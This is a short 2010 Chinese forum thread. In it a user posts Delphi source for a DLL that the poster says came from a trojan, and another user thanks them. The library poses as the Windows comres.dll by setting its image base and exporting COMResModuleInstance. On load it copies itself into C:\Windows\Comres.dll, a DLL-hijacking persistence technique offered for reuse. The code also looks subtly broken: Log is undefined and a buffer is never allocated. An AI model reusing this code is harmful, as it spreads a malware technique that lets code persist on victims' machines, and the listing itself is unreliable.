网站 › 『编程语言区』 › library Comres;

heiye88 发表于 2010-5-12 23:28

library Comres;

library Comres;
{$IMAGEBASE$77020000}
Uses
Windows,SysUtils;
{某马里看到的 懒的说自己看吧}


Function COMResModuleInstance:DWORD;Stdcall;
Begin
Result:=HInstance;
End;

Procedure DLLEntryPoint(dwReason : DWord);
Var
DllName:Array of Char;
Begin
Case dwReason of
    DLL_PROCESS_ATTACH:
    Begin
      If Not FileExists('C:\Windows\Comres.dll') Then
      Begin
      GetModuleFileName(HInstance,DllName,MAX_PATH);
      CopyFile(DllName,'C:\Windows\Comres.dll',False);
      End;
      Log('111111');
      DisableThreadLibraryCalls(HInstance);
    End;
    DLL_PROCESS_DETACH:;
    DLL_THREAD_ATTACH:   ;
    DLL_THREAD_DETACH:   ;
End;
End;

Exports
COMResModuleInstance;


Begin
DllProc := @DLLEntryPoint;
DLLEntryPoint(DLL_PROCESS_ATTACH);
End.

xz63128558 发表于 2010-5-29 14:11

多谢楼主分享，好资源。。

查看完整版本: library Comres;